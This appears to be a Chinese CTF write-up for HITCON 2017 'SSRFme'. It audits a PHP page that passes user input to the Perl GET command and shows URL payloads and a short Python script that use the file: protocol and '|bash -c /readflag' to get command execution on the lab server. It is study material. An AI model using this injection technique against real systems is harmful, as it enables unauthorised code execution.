[HITCON 2017]SSRFme 1

1.发现

1.1题目提示ssrf,打开地址发现代码.

2.步骤

1.1直接开始代码审计.

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    #_SERVER:服务器和执行环境信息
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);    #explode:把字符串打散为数组 .
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];   REMOTE_ADDR:代表客户端IP
    }
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);   mkdir:新建目录
@chdir($sandbox);    chdir:改变当前的目录
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
shell_exec:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
escapeshellarg:把字符串转码为可以在 shell 命令里使用的参数
$_GET:通过 URL 参数(又叫 query string)传递给当前脚本的变量的数组
$info = pathinfo($_GET["filename"]);            pathinfo() :函数以数组的形式返回关于文件路径的信息。   [filename]: 不包含后缀的文件名
$dir = str_replace(".", "", basename($info["dirname"]));
str_replace() 函数替换字符串中的一些字符(区分大小写)。basename()函数返回路径中的文件名部分
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);  file_put_contents  将一个字符串写入文件
highlight_file(__FILE__);
?>

首先创建一个沙盒文件夹,路径为sandbox/加上MD5加密过后的orange加页面输出的ip,
即orangex.x.x.x
然后再命令执行get参数url

file 协议利用 open 命令执行,要执行的命令先前必须要有以命令为文件名的文件存在

1.2所以需要执行两次payload ?url=file:ls /|&filename=ls /|

管道符好像必须要加,不加的话文件不会创建
进到创建的文件夹里

sandbox/230317844a87b41e353b096d0d6a5145/ls /|

 

 

 1.3然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用

综上所述,bash -c 是最好的选择

同样运行两遍,exp如下

import requests

target = "http://44750eec-6686-4451-af23-9a262b44ddf8.node4.buuoj.cn:81/"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/230317844a87b41e353b096d0d6a5145/1").text)

1.4得到flag

 3.借鉴

 https://blog.csdn.net/SopRomeo/article/details/106013885

posted @ 2022-02-20 11:42  WeQi_Blog  阅读(524)  评论(0编辑  收藏  举报